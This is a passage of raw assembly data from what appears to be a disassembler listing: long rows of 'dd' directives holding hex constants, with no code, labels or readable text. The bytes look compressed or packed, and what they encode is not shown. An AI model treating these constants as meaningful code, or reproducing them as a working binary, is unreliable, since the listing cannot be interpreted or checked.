		dd 473FFF83h, 5FEAFC31h, 5374358h, 89FB1C74h, 963F5BAFh
		dd 8B5ADADh, 414B3F05h,	0FFFF4B59h, 653C56EDh, 7570059h
		dd 9659E413h, 1C07FFA6h, 5BBDCF13h, 0FC6E0D6Bh,	0B338FFFFh
		dd 1B20EB11h, 7490D8B9h, 0B4844F38h, 0A3C33616h, 1923E321h
		dd 0FDAE6E98h, 38DFFFFFh, 0FCD9733Fh, 468D11DBh, 5B5B1D1h
		dd 14104279h, 0E05B3CF8h, 6005AFF0h, 0FFFAE606h, 2FC21BFFh
		dd 0ADB78647h, 5929C75Bh, 364B214Eh, 0A9FC335Ch, 0F16C1CE7h
		dd 0FFFFFFC1h, 704E73B7h, 0D213393Fh, 0EB4301DBh, 808EF65Eh
		dd 0DFC1E18h, 1820B10Ah, 995A4C1Ch, 0FFFE0DFFh,	0FE4F9E49h
		dd 0CB911ECEh, 0E6F10E0h, 15784E4Ch, 6A6C0684h,	775776Fh
		dd 4BFFFA97h, 8776861h,	3896B4Fh, 0F606059h, 0B77010D1h
		dd 0D2FB2398h, 787CFFFFh, 4A798BF1h, 4B5F7B89h,	879A6904h
		dd 656D519h, 67C8CF99h,	0FFED06A4h, 0BFCE7FFFh,	0ED6039EFh
		dd 0FCE233Ch, 24811C99h, 56793093h, 3AA18F4Eh, 3F10B974h
		dd 0FFFFFFFFh, 3383FC18h, 269DCB56h, 8C34FAA1h,	36A5895Bh
		dd 175405CEh, 0B49AF039h, 9B874750h, 0EA209C53h, 0FFFF4776h
		dd 0B8D057Dh, 62CE586Dh, 0A26983EEh, 1DA3BA15h,	53FDFFA3h
		dd 7FFA3729h, 0A57AC7E9h, 11EBD9F1h, 6C3BC649h,	8CB75771h
		dd 0FB7FFE23h, 0A10FFD6h, 0D80EC383h, 46AA97A1h, 7F75D885h
		dd 5EC0D4E2h, 0D9D92358h, 0F0BE9789h, 0BBEB5B75h, 7B544B2Ch
		dd 3513A808h, 0F6E3E772h, 259C7FFFh, 931A41Bh, 76F0311Bh
		dd 15D452E6h, 1156578Bh, 3E8068D0h, 7FFFE8DFh, 58EF6A11h
		dd 0A96DEB68h, 1EC4B79h, 38D0438Bh, 4EDE3DAEh, 0D1BF89E5h
		dd 0A41DD5BFh, 0FFFA0FABh, 611C2E6Fh, 1F8CDCFEh, 0F85F7C8Bh
		dd 2344FFFFh, 6D54E14Dh, 29768FF5h, 0EAA36ACh, 5A48385Bh
		dd 0B90EA739h, 8B165EE0h, 0FFFEDFFFh, 41168491h, 7169E7EBh
		dd 0F7495DABh, 0F260474Ch, 5ACDDC0Dh, 6A545894h, 0C9335F20h
		dd 0DBFE2DFFh, 4771DC5Dh
		dd 5422C985h, 910AFCF9h, 6D8FC4F1h, 7E239C18h, 0F12FF8DFh
		dd 0E4F73B0Fh, 10FB984h, 4A884A01h, 0D11B105Ch,	0FC2FE969h
		dd 0E67DE37Fh, 373847CFh, 711CDFDAh, 5C23ECE5h,	92294488h
		dd 0FFE2750Fh, 26FB16FFh, 0F2EC3396h, 2CEB0B21h, 98D6263Bh
		dd 0C8CE245h, 0FFFFE12Dh, 0E746905Fh, 1231B95Ah, 5B212A24h
		dd 8B06E5B2h, 1667F822h, 2CED447Ah, 817F8ACBh, 7F7A7FFFh
		dd 30CB6CD3h, 8920974Ch, 0C18CE451h, 5E9734B6h,	46290B97h
		dd 0D5A25FFFh, 0CE6A9CBBh, 45337861h, 0EFB8C07Bh, 0FCA23B09h
		dd 1BFFFFD0h, 0B8D7A88Eh, 222EEE8Ch, 0F0099E0Dh, 0B647AEAAh
		dd 0BE16BCC9h, 0BFFFFFFFh, 9CC637FDh, 0B2114DA5h, 11F20A89h
		dd 0DE9DD4Ch, 3F07509h,	3212D5D1h, 0DDBF13D4h, 0FF4B4216h
		dd 210ED4BFh, 753E0FF1h, 611D3B1Ah, 866C588Dh, 224B6Eh
		dd 42FFFFF8h, 0C9466E90h, 428D36C5h, 0D8355F04h, 684091E0h
		dd 64766F30h, 0FF52FFF7h, 0C8982037h, 6C150A66h, 0ED808D03h
		dd 1AE02B32h, 316A50A1h, 0FC057E2Dh, 0A8145C31h, 0A830785Fh
		dd 0FF06B3B3h, 803612FFh, 54AF22D4h, 0A364DF43h, 644AC337h
		dd 2FED0A13h, 6E02DF5h,	945110C4h, 3DAD171Bh, 5B807553h
		dd 5520FF01h, 0FDAB7385h, 4C20EF06h, 0BF16F21h,	0D0A91CAFh
		dd 0C76DDF12h, 7BE40174h, 0F52FFFFFh, 51DB0D96h, 0CF0374CCh
		dd 0E1989D58h, 1596EC0Ch, 0F650C62h, 96F62897h,	0FD5BFFFFh
		dd 3D4B5B9Ah, 6BCB9E66h, 2A29FD09h, 307B23B5h, 6D1B628Dh
		dd 35CDA34h, 0A97FE02Bh, 5EB5DD0Bh, 2DBC3636h, 0A1E6DF3h
		dd 7FFFC2F8h, 0CD865C06h, 25BB1203h, 98141CEAh,	0E29945D7h
		dd 0BFEEBBF9h, 0FE02B176h, 1450050Ah, 0FFFF0186h, 458AF46Fh
		dd 24665957h, 0F7188696h, 0B3B01B7Bh, 0BCC34E5Bh, 88C6EBEFh
		dd 5FFF21F7h, 7FFAC052h, 2142D8DAh, 2660768h, 9A34BB6Ah
		dd 0FF80A6FFh, 8BAB2CCCh, 0B7C4AF6Dh, 18E5D3AAh, 6FE10813h
		dd 9FC0D7A2h, 2C35F014h, 1ECAA41Fh, 3EF9D030h, 52FFFFFEh
		dd 0C52C17C9h, 96C23919h, 569B0CA1h, 2B66AD3Ah,	0E9E61830h
		dd 8D8309F9h, 0D097FFC2h, 50AE0C80h, 52CB51A2h,	0BA8762ECh
		dd 0FFFF401Bh, 91D7FFFFh, 12140700h, 180214F9h,	73D75CFAh
		dd 0BDD0FF3Ch, 348C616h, 74D0E2C5h, 3BDB2416h, 0FFFFBAD9h
		dd 0F3802FFh, 283D066Ch, 0F63A89C3h, 0E6604460h, 2C151059h
		dd 7805BC7Bh, 0FC4B6984h, 4EE2A37Fh, 38A2E80h, 6F0BA994h
		dd 8EFBA950h, 0DFF5C6D9h, 0C62CFFF8h, 0A25EEF72h, 991418A1h
		dd 0A9F80FC8h, 0BB11F5E8h, 720CD11Fh, 0B12FFFF0h, 781A000h
		dd 0CE3BF57Eh, 0CC13A0C2h, 1055D055h, 897F6298h, 16386FEDh
		dd 5DA12758h, 0AE2DD245h, 314F1CD1h, 0FFFE9C94h, 0C636FFFFh
		dd 59749539h, 0DBC52378h, 3B08928Bh, 5D6D0C0h, 681A1E43h
		dd 0DF0B4BD0h, 6F01DE1Bh, 0D4BFFF13h, 68BDA2ADh, 0A5F4685Eh
		dd 0EF7025CDh, 754B61C1h, 1BFF2F54h, 4FD1FFFDh,	4F68EC7Dh
		dd 0AB9C11A2h, 0C62FECBEh, 607DB342h, 73595F8Fh, 0FF81FF0Fh
		dd 72F7FFEDh, 0DD468F1h, 0E58A0DECh, 0C6A071Bh,	5454AA8Dh
		dd 0EE267BD6h, 7FD6FFFCh, 399215F6h, 4D154808h,	0FC0C5A5Bh
		dd 0BDF556BBh, 881D392Fh, 6FB77EC1h, 85730A15h,	10E6059Dh
		dd 2B2DD0A2h, 0FF4BFFFFh, 0D60B9045h, 0D7E8EC8h, 0C4643036h
		dd 237EEFB2h, 0D3E066DAh, 0EE832674h, 0FFFF0A04h, 753BFB7Fh
		dd 0B8F872E4h, 742A1B82h, 33223E79h, 8ADD9B7Dh,	2C57E58Dh
		dd 68DAEBAFh, 0FFFF4920h, 9FBEFFFFh, 14B8EBDCh,	685933E2h
		dd 6B240F28h, 91049381h, 103E3D63h, 210D4769h, 97892876h
		dd 0FFA540FFh, 3F19FFFFh, 0B02C82D7h, 1808741Eh, 209388ACh
		dd 2E5400BCh, 623C7BA4h, 0A2107C70h, 0FFFFF52Fh, 0F6072036h
		dd 56010E23h, 447DFBB4h, 0B78AD52Dh, 0BC09305h,	67F3E7FBh
		dd 0FADF4BFFh, 9F3A9F6Ch, 0CA89C730h, 15B0750Bh, 0C2736768h
		dd 0A3A4C572h, 0E2DFFF89h, 0AC00957Ch, 860CAFC4h, 0BB432BBBh
		dd 0A8FD1C84h, 0AADF7014h, 0B0CD7FD4h, 177047C1h, 0E84604B1h
		dd 0BBB50A08h, 0FFF5BFFFh, 35036A55h, 2ECF8AA2h, 0E236E608h
		dd 5A631083h, 0D854A21h, 18ED0FD8h, 85DB144Eh, 0BF8EFDBEh
		dd 0FCFB81DBh, 2C5A0150h, 0BBE70337h, 0FFFF5E43h, 0D7D1FFFFh
		dd 1E90BD70h, 9C253355h, 230B000Fh, 0E5BE05ABh,	0A9B906F8h
		dd 5C68C23h, 0B52873ADh, 0FD6F9D6Bh, 1E6CFFFFh,	475A2634h
		dd 1400FB68h, 41A85730h, 0B7B0EAAFh, 4300507Ah,	2ECC2FE2h
		dd 0FFFFF8B7h, 0C3A340B4h, 0ED0C3876h, 0BBC6033Bh, 0AA6EA346h
		dd 735EA4B9h, 0EEB58944h, 0FFFFEA5Eh, 0A1B200F4h, 0F4114211h
		dd 8480392Bh, 2706E686h, 10C807E1h, 0FF01A1AAh,	75A5F46Fh
		dd 6C23ACFDh, 29219966h, 0A86E0120h, 0CFD5376Dh, 0FFFFFFFFh
		dd 0BB449F23h, 0CFF46A33h, 44AD8530h, 1BE8203Dh, 9EEDFDC1h
		dd 20B5043Dh, 508DA6E9h, 0B00036FFh, 0FFFFFFFFh, 8D1AACDh
		dd 1CB82555h, 575DB18Ch, 906B7A53h, 1574E101h, 0AA751F76h
		dd 4388CB78h, 0B909A671h, 0FFFFF8B7h, 0F3D58DF4h, 0C3F9A314h
		dd 0F875A40Bh, 6F053D66h, 40ACB0Fh, 0B0A85690h,	0FFFFE2DFh
		dd 0DADA6204h, 0C667CA0h, 8A6EF79h, 84E833DFh, 26599035h
		dd 0CF3D2004h, 0FFD1BE97h, 40303CF3h, 3706050h,	0D0270D06h
		dd 1950103Ch, 0FC14567Eh, 0C19612ADh, 202D03F1h, 4143983Ch
		dd 0DAD82FA3h, 7F07A03Bh, 837FFFDAh, 0E3659BFFh, 8AB7402Bh
		dd 45B12A56h, 335B1703h, 79C2D9B1h, 8EF853A4h, 5A378287h
		dd 0AAF35DCCh, 50DCFDAh, 0F058FFFFh, 6B940816h,	32F059D0h
		dd 15077335h, 5BC75DBEh, 0FFFA37FFh, 833A660Ah,	0B35F21B8h
		dd 3828588Eh, 0FA5AC181h, 950FDFF1h, 0A937ADC0h, 0FFFFFFFCh
		dd 320409DEh, 6AC40057h, 5301AA10h, 28938DDh, 2D85240Bh
		dd 658B9AEDh, 95AFC6Bh,	5BFFA6E4h, 7665BFFh, 671FB2F5h
		dd 53109363h, 6690EAB1h, 0A0268C38h, 0FC406B9Ch, 6DB3A5A5h
		dd 0F3FDA85h, 0ACB4E8C9h, 77FFFFFFh, 0B85858D7h, 81711BA2h
		dd 0C5968EECh, 938B7A76h, 5A48589h, 0F8AF8806h,	0D1277295h
		dd 0FF897FFFh, 33809505h, 0B6DFB9B9h, 74963C7Ch, 0A0958C66h
		dd 948D060Fh, 1DB972FEh, 0B7FFFFFFh, 6C45F05Dh,	646D6865h
		dd 98858F9Ch, 2FD1F7B6h, 0ABACB5F5h, 9C4B0585h,	66C6B7BFh
		dd 0FC6A17FFh, 1B3D8B1h, 3005B589h, 0DB151F0Ah,	8C17506Ah
		dd 2FFF80FDh, 6D4AFFF0h, 0F9021173h, 5D0EC0Ah, 0D88E5D6Dh
		dd 0FB802E53h, 668C72C0h, 0FC2FCD73h, 12B6FF85h, 6A4CD4D4h
		dd 214809D6h, 0D0226D00h, 0AE1B0h, 0F101E32Fh, 4756FFFFh
		dd 33A1D0A2h, 1A342BDBh, 0A3C2140h, 0EFE247B9h,	0BA37D08Dh
		dd 0D262BFC0h, 0DA8C581h, 86D1903Fh, 0FF5D98B3h, 0FFFFFFD4h
		dd 800EF2E0h, 67A24561h, 68A42D76h, 74FF6C1Bh, 4E88322h
		dd 0D041774h, 0FFFF4845h, 0AD1CBFFFh, 0B8C9EC41h, 12059204h
		dd 0B3CE956Dh, 0AF11080Bh, 7EC4BDE2h, 0F05248E1h, 5E8D7555h
		dd 85FE85F0h, 7DD5FC1Ch, 0EA16B65Bh, 8D3BC702h,	0FF52107Eh
		dd 0FFBA2E97h, 60B8475Fh, 2B0CAE63h, 180C8AC6h,	0FFFFFFAFh
		dd 754D43FFh, 1D8E8DF7h, 0C027150Dh, 11ECA638h,	0DA8708E7h
		dd 15134E41h, 42FB64A3h, 1CC80DC1h, 0FFEA85F4h,	0F1709805h
		dd 8591BC06h, 967684CBh, 0FEE83EBFh, 6FDA8DFFh,	16EF17BEh
		dd 31188488h, 0DC1BA16Fh, 0C4F4723Ah, 0FFFC4BFFh, 85A7848Ah
		dd 0B7FD6E0Fh, 2B7420FFh
		dd 0B6A45D8Dh, 3B0302C8h, 2B1677C8h, 0FFF06F5Bh, 941E40C1h
		dd 68A2430Dh, 0B13A1AF5h, 43F00670h, 6F8D43FCh,	0D8D3D5BCh
		dd 75AC6058h, 50649822h, 0FFC6516Dh, 46B9FFFFh,	0A426C1C0h
		dd 0A0172B90h, 15C1AC9Bh, 571E5750h, 19035331h,	44A524ECh
		dd 6FFFFFEAh, 0C06DEDF8h, 242424DCh, 4CB70FABh,	0A8035463h
		dd 791C9040h, 0E1BF7EDEh, 37EA101Dh, 8C8AF16Eh,	12755305h
		dd 0DE20D502h, 0FFDDC3ADh, 78DA5FFFh, 0C6352E8Ch, 1D8A0884h
		dd 0C1DECFEFh, 868D4DEBh, 0FF9F320Dh, 7E0AB1B7h, 0BAD4FFE1h
		dd 0A508295Ah, 150EBB80h, 3C637DEh, 0C0205A50h,	21DFFFFFh
		dd 0E5C0C77h, 20C280D1h, 28B6D9E6h, 0E10FAA2h, 696DE020h
		dd 0FFFFEAABh, 55A7BFFFh, 3B412BC6h, 0A1E364CFh, 5D30B8D1h
		dd 265B315Fh, 9C1CE897h, 4848C804h, 8F5B047h, 0FFEA556Fh
		dd 98A16DCFh, 0ADFC546Eh, 0DE1D7494h, 68773E6Bh, 85FFFF6Fh
		dd 8B319121h, 0C9821120h, 6AE00125h, 0C222230Dh, 3B28DA85h
		dd 0D5BEDD35h, 2D36FFFFh, 93E3F014h, 58C8568Dh,	19FE810Fh
		dd 0FEC50774h, 24A1C2C1h, 0FFF8DF89h, 2D8B0DB7h, 0CE9925FAh
		dd 0FB542A36h, 8EEB3F6Bh, 0DB79D3C3h, 17FF0D0Dh, 9953FE0Ah
		dd 23078B6h, 0B038A47Dh, 3BDE1DB1h, 0C71E75E7h,	0FFFFFFFFh
		dd 46350705h, 0F5A08C60h, 0FCFCD001h, 0D5AC0E63h, 283CEBF6h
		dd 5C22D8FDh, 29AD957Ah, 0FC16DBADh, 0FFFFFFB7h, 97BC11F8h
		dd 0EB1C29B5h, 20C63BC4h, 0F806B3C1h, 9F20D6C6h, 1B60B446h
		dd 0B4BC4CA0h, 0C4BFFFFFh, 579EA08Eh, 3BAE48A5h, 0B6BE088h
		dd 0C34F470Ah, 8DDCC5F7h, 6D389F72h, 0FFFFFFFFh, 0B82DD48Ch
		dd 5BEEDF90h, 91B836F5h, 30C0D677h, 0B20AF03Dh,	72ED8FB9h
		dd 0FDE381E7h, 0B7466D1h, 0FA97FFD1h, 0FC2C8BE9h, 0C7B7E431h
		dd 11643550h, 66047521h, 0FFFF1A48h, 0ACF3BFFFh, 1A8B67BFh
		dd 43170129h, 175B561Ch, 33F8E894h, 39D842D2h, 0DD5FFC2Fh
		dd 0C737C07h, 0FFFFFFFFh, 0EDF8860Fh, 85CF52EEh, 608F8875h
		dd 0E8AEFFBh, 0C20CC984h, 215546EEh, 0C98336FBh, 134641A1h
		dd 0FFFDBD5Bh, 17AEE86Eh, 30C96B46h, 0A0B18DE3h, 0F03F6897h
		dd 16242AEBh, 0FFFF8B7Fh, 23E3428h, 3437BBDDh, 8AE030D4h
		dd 81C8C80h, 14DBC44h, 0A1707510h, 0FFFFFEDFh, 0EA76FE47h
		dd 6A344647h, 0D1F13C33h, 3DE0E8B3h, 0AD4777h, 972A8DC2h
		dd 0FF6F97C7h, 0FFFFC6FFh, 43C770E1h, 96205E08h, 4389066Ah
		dd 8D10770Ch, 0BBCCDB89h, 665A4794h, 0A2B7318Bh, 6641FFFFh
		dd 40413089h, 0F3754A40h, 6922F38Bh, 0F9759F1Ah, 0FFFFF26Bh
		dd 3C3FFFFh, 0C106041Dh, 7E5BF676h, 534737Bh, 381B34E5h
		dd 0E0FEB91Eh, 0F8968A95h, 2C400808h, 0FFFF6CF9h, 68D0FFFFh
		dd 52548B91h, 0EA50EA63h, 800B5D3h, 0B2EB7B8Ch,	0D1C0EB2h
		dd 54CDD7E8h, 0AB46188Bh, 0FAB7CA01h, 0FC79FFFFh, 0EE43F182h
		dd 686814F6h, 0FFE04D83h, 3440FCFAh, 6B8CE928h,	0E2DFD668h
		dd 4608FFFFh, 89E4E530h, 99466787h, 577C859Eh, 41B2C020h
		dd 142BE9B3h, 2FFFB946h, 440AFFFCh, 52E9BFh, 0A5F3FB8Bh
		dd 44BF2383h, 2838CDB2h, 4F5B49E2h, 27FC6AD1h, 0FFF1BFFFh
		dd 13681CDCh, 2ADE9393h, 3D6846C2h, 69F6EDE6h, 685E89E3h
		dd 0FF073D5Ch, 0FFFFF3D7h, 270FFFFh, 4E296536h,	5F6EA9Bh
		dd 33DD6B8Bh, 70484C1Bh, 7C0ED43h, 791F51E3h, 0CC4A308h
		dd 7FF5C8A3h, 6F75D681h, 0F8B50F5Ah, 4C5A3C05h,	0DD8C3F66h
		dd 6EADFE25h, 6E450C7Bh, 19E8EB40h, 0B17DF63Dh,	0FAB7FFFFh
		dd 0FEF939D7h, 8888264Ch, 0E9186580h, 3E91A300h, 5C1857B7h
		dd 0E666881Bh, 0FFD4BFFFh, 2C86A3FFh, 13B664D2h, 5F3AB8BBh
		dd 0F513F6D2h, 0FC6EBFD7h, 1ABC30EBh, 897A5FFFh, 25EBFF35h
		dd 580E38DEh, 5335CE4Ch, 4104EB35h, 0C6FC72CCh,	0D0DCFFFFh
		dd 565B00E0h, 0B3EEF9DCh, 0FD6A8E92h, 599B6D10h, 0D169584h
		dd 0F12FE078h, 93A6E2Dh, 0EFFFD3FEh, 3B0ABC86h,	0DFFF57C5h
		dd 6F74FDBAh, 596B483Dh, 21E6B0CBh, 5E74119Bh, 5A752839h
		dd 2B17B80Dh, 16FFFE37h, 0AB13B371h, 9C35B6FFh,	0AF20A0A6h
		dd 8C648195h, 0FFFF4F0Ch, 0E4E6FFFFh, 2D386179h, 6D44C011h
		dd 40B668F6h, 952DC40Dh, 0EC3B1043h, 0CFCC9908h, 0D012C72Bh
		dd 0FFFF220Dh, 0D218FE97h, 0EBC04C2Dh, 0BEB54D5Ch, 3D071ED4h
		dd 0A88B6388h, 0AFF60A95h, 0A42A33C0h, 0FFFFFFFFh, 7337FFD0h
		dd 512FF736h, 5B506336h, 88F87F81h, 7502568h, 0E9821EB5h
		dd 39840B7Eh, 50DCB86Fh, 0FAD16FFFh, 479E2EC8h,	0C9D3D604h
		dd 8227087h, 573F7877h,	0FFC084D4h, 19C2FFD6h, 35B5566Ah
		dd 0DBE40E40h, 0B80C5066h, 0B77C9FB4h, 0FFC1C0E4h, 5003BFFFh
		dd 97B815Dh, 258E038Bh,	831760E2h, 9A0ADF7Bh, 61E2DB5Fh
		dd 0FFFFC30Fh, 0D8D4BFFFh, 7005E13Ah, 4C7B9882h, 88CD8513h
		dd 2575AE92h, 58898E7Fh, 5AA0B804h, 54B9188h, 0AB7FFFFFh
		dd 2537CB5Bh, 0B2309333h, 0A7D40728h, 70295780h, 360F9093h
		dd 391B43E0h, 0FFFFFFE0h, 59EF1971h, 7802D1C5h,	6F6890C8h
		dd 790B8E53h, 3ECB00C2h, 979ACF88h, 0FF46F093h,	965FF8DFh
		dd 70161C7Eh, 4C97C6Ch,	468DA112h, 0A39F016Ch, 743B0B28h
		dd 0FD2F38A5h, 1FBDFFFFh, 4D726E58h, 502AC1EBh,	19462A03h
		dd 0C1E75264h, 0E8805B12h, 0BD165008h, 0FE0097F0h, 0CE621880h
		dd 6CE8518Dh, 0EB609A59h, 0FFFEA842h, 0B7B72F16h, 3E59508h
		dd 5E3966F0h, 0FB405BA3h, 8D1446FFh, 0FFFFF07Ch, 23768A8Dh
		dd 0E8906857h, 6A75118h, 7C9EEC6Dh, 43061A0Eh, 0FFFF282Eh
		dd 14512FFFh, 90E3D3CDh, 5FF6F8F8h, 652B755Dh, 685A697Ch
		dd 0B930D69Bh, 0A142140Dh, 0BFFF1078h, 6AD5FA35h, 0B7DB3680h
		dd 3074158Fh, 909717F7h, 26C7F880h, 0D1BFA868h,	7C5DFC5Bh
		dd 61AF0577h, 37C323C1h, 88249828h, 0FFFF7447h,	5619FFFFh
		dd 0A0AC421Dh, 7BD098A5h, 0B0A10408h, 656A6091h, 48B77659h
		dd 0B8FC928Eh, 5733C19h, 0E85E6639h, 7634FFFFh,	0A96415FFh
		dd 1BFBE207h, 0C99CF450h, 200F310Ah, 7326AA70h,	0FFEDF03Fh
		dd 29FC1B37h, 42DFBDF1h, 0FF190DBDh, 911F2EA1h,	0DC34CD9Eh
		dd 6FFFFFFFh, 0CDE97C93h, 43602171h, 0BDA83E3Ah, 0DEE54DFCh
		dd 46C77E81h, 6C29885Ch, 0D087227Eh, 6FFE17Fh, 26452FB1h
		dd 56DFE1Dh, 0DE1D2454h, 778689D3h, 0EA5FCDE2h,	0EF7CFFFFh
		dd 0FC0F15E4h, 86C67035h, 8EB7329Dh, 4B0643F8h,	0C98C7E01h
		dd 0A37F700Bh, 50254BD5h, 0F7A4BA7Ch, 0A1526C18h, 0FFFFDA44h
		dd 3DC0FC1Bh, 6CAE0B82h, 425E30DCh, 0B5D874B3h,	4F014885h
		dd 0ABA457ADh, 0FE2D4238h, 9EFBFFFFh, 0B3FAF878h, 684E37F9h
		dd 8A65289Eh, 0DF2E56D4h, 0F1DB30B2h, 0FFFF4611h, 2956FFA5h
		dd 82C5F828h, 13D102E8h, 2B5C1EA5h, 24512432h, 5823FF4Eh
		dd 980015Bh, 0E17FFFF0h, 941BE9BBh, 1778695Dh, 0E12A725Fh
		dd 4863BC53h, 3C1051D3h, 7FF86808h, 51E72FA9h, 79116022h
		dd 3A8A5701h, 13624B44h, 2FB21321h, 9C17B7FDh, 732342Ch
		dd 48443C32h, 13876489h, 9C109CAEh, 0A25FFFFh, 687EC30Ch
		dd 91570255h, 0FF064C11h, 0C446698h, 6FFF76E1h,	857CFFF1h
		dd 92AC759Ah, 0A06C3BD9h, 8FB45979h, 74108ED5h,	0C7C3F14h
		dd 0FFFC3F83h, 824BFC6Fh, 44C72070h, 24268827h,	9E111CE1h
		dd 0C7FFCC5h, 0BBE41A4h, 50BF570Ch, 3D3B1B89h, 0E5438D34h
		dd 300947F5h, 0FFFFFFFFh
		dd 684B5043h, 0F0CEE8E8h, 685604FBh, 0F0A307DCh, 91910CA6h
		dd 0F4D09193h, 3278F8C8h, 21AC12BDh, 0FFFFFFFFh, 65A30DA5h
		dd 0FDF4AD7Bh, 8281306h, 86D3B10Dh, 104F891h, 4250A124h
		dd 0A712BF1Ch, 38D404A1h, 0FE22DFFFh, 35EB83AEh, 973D9A4Dh
		dd 9275A32Bh, 0BC213859h, 0D7507DCCh, 0E05FFF56h, 54ED884Eh
		dd 1592A5BBh, 59D80C3Eh, 0A3202AACh, 1BFF1661h,	5CF218FCh
		dd 6F3CF4F2h, 73998878h, 0D128126Ch, 0FFF16FD8h, 878574FFh
		dd 0C11F481Bh, 0A782BAF0h, 0E3006423h, 34C44874h, 1B902D9Eh
		dd 0FFFF02FEh, 0C1107F3h, 5E6720E8h, 0CB4CA5Fh,	0C9B215A8h
		dd 0D86D0816h, 2F778101h, 0A7A5FFFDh, 413A09BAh, 0EB580A38h
		dd 9FE575h, 5D997903h, 6FFFC6F9h, 0FA45F42Fh, 0AFCC874h
		dd 0F909F86Eh, 82D8A14h, 511A7107h, 0FFFFB185h,	2778FE37h
		dd 905B13A7h, 86F4AA07h, 38109720h, 0A8F9F445h,	5F25B5B5h
		dd 232B7614h, 0FFFDBFFFh, 0C1C820Ch, 85056A0Ch,	0F9C5BFA3h
		dd 815A8370h, 2E8DDD38h, 63920119h, 0BB561423h,	0FFFFFFFFh
		dd 0A20E1A8h, 75F14F94h, 0EB86CD7Dh, 0C0535338h, 0E268F478h
		dd 0E06DFA53h, 0B788152Ch, 0EB253D89h, 0D0BFC4BCh, 0F0F4EE15h
		dd 7578F744h, 0E6FF170Ah, 0FFFF05EDh, 39781BC6h, 8060145Dh
		dd 38496A14h, 55AD2C18h, 0CB0C56F1h, 0FFFFF675h, 0FF0FE2Dh
		dd 0FB7CB7A8h, 3B488214h, 40017D05h, 6C2FA189h,	0C986D05Dh
		dd 0FFA5AB84h, 0C30CC2C2h, 0CD918A61h, 1CB3310h, 0C90D2045h
		dd 0D4B16FFFh, 456AD6AEh, 8D99AD40h, 0E884A920h, 0D0FA2417h
		dd 0FFFFFD5Bh, 146B8688h, 0C50489C4h, 7A386883h, 68A7507Bh
		dd 37FDDF8Ch, 43E0459Bh, 168378DFh, 0F758FDB9h,	8D3737F7h
		dd 0FD6F3F44h, 0EF40FFFFh, 0A408859Ah, 0AAF91304h, 13C48B4Ch
		dd 9F6E20B4h, 0D441C71Ch, 0B60A0C3Dh, 0FFFFFFD6h, 0A1C10A11h
		dd 2012DB95h, 0BB6DB1BFh, 94F46FDAh, 0F46CF45Dh, 9C193D50h
		dd 0FF6511FBh, 0F4FFFD6Fh, 35997174h, 6BE3F4F3h, 4000E2D4h
		dd 0A2E75A69h, 877B209Ah, 23A1F1C8h, 0FE2DFFC6h, 0C1A68ABEh
		dd 0E893F78Fh, 747B5BB6h, 0E71C4A29h, 0FFD4DB4Dh, 6EFFFF42h
		dd 7CA78F08h, 3818021Ch, 3076DD9h, 7EC57B59h, 8327BD45h
		dd 0FFFFCF2Ch, 39F1FADFh, 0D0F41609h, 0F33BFCE0h, 6C76A74h
		dd 0C01AEBB1h, 18D40CEAh, 4128D8F1h, 0FFFE25D1h, 0A5B2C24Dh
		dd 0C26356CFh, 0DBB37D22h, 0C7B58FCDh, 7F56EB03h, 28E7BF8Bh
		dd 3C56A53h, 0E47F6EEAh, 127EE622h, 0FA37FF06h,	5608A78Dh
		dd 0DD6D860Bh, 839767Ch, 82F09C1Ah, 0FFFF00A1h,	1427FFEDh
		dd 0C0A9AC67h, 46580474h, 0F7DAD1A8h, 0EC481600h, 1A3B3794h
		dd 1666A5C3h, 0FFFFDB01h, 4073FFFFh, 2B4B5114h,	0B6077C15h
		dd 0BF7F932Ah, 4361670Fh, 4FD47474h, 7E50E180h,	16086FBAh
		dd 56FFF81Ah, 0F646FFFAh, 0FF3D7E53h, 58DEE084h, 0D43877E0h
		dd 0DD74FB96h, 1CD707C7h, 0F8156FFFh, 0F8C72321h, 5CC505FFh
		dd 5DB2ECB4h, 1B0B970Ch, 37FF57A1h, 0F4DCF068h,	7A800471h
		dd 7F1C0C98h, 0DB23501Fh, 0EDFFD77Dh, 0B150FFFFh, 0F05EB0ECh
		dd 1BDEF7B5h, 843123F6h, 2A3EC136h, 0DEDFF75h, 0D07129E1h
		dd 0FFEA4A2Fh, 0D322FFFFh, 6289D724h, 0CBF4B77Bh, 3918AEE0h
		dd 0C6981845h, 66E0658Dh, 0B8300DC0h, 0DFFF12EFh, 62EC2A58h
		dd 8BC8A41h, 616F280Ah,	2405336Fh, 0DFFFFD41h, 0AE9782D0h
		dd 0A8AB1BE6h, 0FFA48D11h, 5E8A709Ch, 898B3E3Bh, 0FFFFB6ABh
		dd 3F80AADFh, 0D586359Ah, 7C1E4D93h, 428D00CBh,	2C1B44FFh
		dd 646207A8h, 0FFF5BFE2h, 3D04D606h, 8B536306h,	95408D8h
		dd 0F7E82F95h, 8A159BC2h, 7FFFFF0Ah, 0CB3AB921h, 0FADFCF74h
		dd 51EA52D9h, 0BEB7514h, 0C1C35AD8h, 1FE210E3h,	0FE371B1Bh
		dd 856B7A2h, 56BF0A8Bh,	0DD3FF78Bh, 0FFFF0B59h,	0F9C1FFFFh
		dd 0A2FFF183h, 0BFC633CFh, 38BD05CDh, 0A5E18104h, 740625E1h
		dd 2E0BB0D3h, 8106013Ch, 7FD243E6h, 0C475FFEBh,	2C55DC2Ch
		dd 42B15B8Dh, 0BE3655FCh, 0E816FD05h, 0FF673AEFh, 27E0DFFFh
		dd 10E803C9h, 0E9A69BB5h, 6DC1512h, 2D96EBD4h, 9EE749CEh
		dd 0FFD242B3h, 37FEF42Fh, 30F2FD06h, 9F90A714h,	82F9B4ECh
		dd 0F5280378h, 2FC5A229h, 5D82A8FCh, 0E72219C0h, 944EF109h
		dd 2EA5F4BBh, 7F6012D1h, 6E1E0B47h, 0FFFF7344h,	2200BFFFh
		dd 1A8DCE3h, 25C45AB6h,	5D10A83Bh, 57B68512h, 84E7FE8h
		dd 89FEE083h, 0A4C8A0Eh, 0EADFFFFFh, 0D4CA68EFh, 0A966023Bh
		dd 230F010Ch, 52E375EEh, 0B31403B4h, 0F03BEE58h, 0FC4BFEB7h
		dd 3112C203h, 0D2A0B58h, 0A877F5C6h, 0BCFAB27Ah, 0DFFB6B2h
		dd 0D459FF5Ah, 40ADE22Ch, 90FF0837h, 7E1BDB6Fh,	4B488D3Eh
		dd 8B7FFFFEh, 0F82B520Eh, 0B3C5CB49h, 7E05142Fh, 3950571Dh
		dd 0DC89DAB1h, 0FF9F17F6h, 462DFFFFh, 6F20734Dh, 0B70B6DCAh
